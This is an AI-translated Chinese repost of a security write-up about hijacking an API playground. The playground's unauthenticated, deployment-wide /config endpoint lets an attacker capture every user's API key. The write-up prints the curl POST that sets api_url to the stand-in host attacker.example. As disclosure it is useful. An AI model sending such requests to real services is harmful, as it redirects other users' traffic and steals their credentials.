外部精选
软件工程
#开发者实时流攻击者利用无鉴权配置接口劫持API Playground窃取用户密钥
来源标题：Hijacking a Playground with One Request
一个Playground后端的/config接口未做鉴权，且配置为全部署共享而非按用户隔离，攻击者通过一次POST请求即可将全局API地址改为自己的服务器。此后所有用户的请求都会先经过攻击者服务器，用户输入的API密钥也被发送到该服务器，即使连接检查失败，密钥已经泄露。
Hacker News 最新henriemategui2026/11/12 · 今天2 分钟阅读
以下正文由 AI 翻译自 Hacker News 最新（原文版权归原站所有），可能存在偏差，重要内容请以原文为准。
打开 playground 并输入你的 API key。它会保存在浏览器的 localStorage 中，并在每次请求时发送到 playground 后端。后端随后替你调用真正的 API。
后端从配置中获取 API 地址，该配置位于 上的 /config。
/config 没有身份验证，而且它不按用户存储设置，而是为整个部署统一存储。于是，下面这个请求改变了所有人的 API 地址：
curl -sS -X POST https:///config
-H 'Content-Type: application/json'
--data-binary '{"api_url":"https://attacker.example"}'
从那时起，每个用户的每个请求都会先发到我们的服务器。
当有人输入自己的 API key 时，playground 会通过把 key 发送到 API 地址来检查连接。而现在这个地址是我们的服务器。
检查会失败，但这无关紧要。我们已经拿到了 key。
正文由 探How 从来源站点 RSS 同步，内容未经改写；遇到排版缺失或需要图片、视频时请以原文为准。